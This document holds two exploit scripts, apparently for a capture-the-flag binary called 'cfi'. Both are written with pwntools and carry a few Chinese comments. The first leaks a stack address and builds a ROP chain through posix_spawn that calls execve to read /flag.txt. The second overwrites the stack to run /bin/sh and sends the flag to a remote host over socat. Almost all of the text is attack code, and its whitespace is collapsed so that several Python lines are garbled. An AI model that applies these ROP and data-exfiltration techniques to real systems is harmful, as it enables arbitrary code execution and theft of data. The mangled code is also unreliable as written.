# First we leak the address of the return address on the stack # * fill the stack with a cyclic sequence # * the CFI violation will tell us the right offset r = connect() send_data(STACK, cyclic(0xff0)) r.readuntil('illegally targeted 0x') leak = int(r.readline().strip(), 16) #//16进制读取返回的字符串(rbp上的字符串) RET_ADDR_AT = STACK + cyclic_find(leak) + 8*8#//ret的地址
# the args to execve rdi = BINSH rsi = RET_ADDR_AT + STACK_FRAME_SIZE + 8 rdx = 0
# return into the child function of posix_spawn rop = p64(CLOSE_IN_CHILD) # fill the stack frame with some data so that the function doesn't crash rop += p64(RET_ADDR_AT+16) rop += '\x00'*0x88
# the child calls a function pointer with arguments from the stack # we're allowed to call execve here, since that's what it normally does rop += p64(rdi) + p64(EXECVE) + '\x00'*0x10 + p64(rsi) + p64(rdx) # fill the rest of the stack frame with zeroes rop = rop.ljust(STACK_FRAME_SIZE+8, '\x00')
# this is the address that we chose for rsi (our argv) rop += p64(BINSH) rop += p64(DASH_C) rop += p64(RET_ADDR_AT + len(rop) + 16) rop += p64(0) rop += "cat /flag.txt\x00"
# send the rop chain and read the flag r = connect() send_data(RET_ADDR_AT, rop) r.clean_and_log()
from pwn import * DEBUG = int(sys.argv[1]); if(DEBUG == 0): r = remote("1.2.3.4", 2333); elif(DEBUG == 1): r = process("./cfi"); elif(DEBUG == 2): r = process("./cfi"); gdb.attach(r, '''source ./script'''); defhalt(): while(True): log.info(r.recvline()); defaa(ra): return0xff544000 + ra; # the base address of stack differs. In my test, I set a breakpoint at # syscall_cp in read to get the base address in stack # in real exploit I think I need to use cyclic string to overwrite the whole stack # decide the base address of stack from feedback given by server. stackAddr = 0xfffff1c8; r.recvuntil("addr?"); r.sendline(hex(stackAddr)[2:]); r.recvuntil("len?"); r.sendline("300"); payload = p64(aa(0x882e8)); payload += p64(0xbabecafe)*0x1 + p64(aa(0x57418)); fakeR14 = stackAddr + 0x8; fakeRDI = stackAddr + 0xc0; #0xfffff1c8; #stackAddr+; fakeRSI = stackAddr + 0xc8; #stackAddr + 0xc8; #0xfffff1d0; #0x500; fakeRDX = 0; #0xfffff2a8; #0x0; payload += p64(fakeR14) + p64(0) * 14 + p64(fakeRDI) + p64(0xff59acc0); payload += p64(0) * 2 + p64(fakeRSI) + p64(fakeRDX) + "/bin/sh"+"\x00"*1 + p64(fakeRDI) + p64(stackAddr+0x100) + p64(stackAddr+0x103) + p64(0)*4 + "-c\x00cat flag | socat - TCP4:10.0.2.15:31337\x00"; r.recvuntil("data?"); r.send(payload);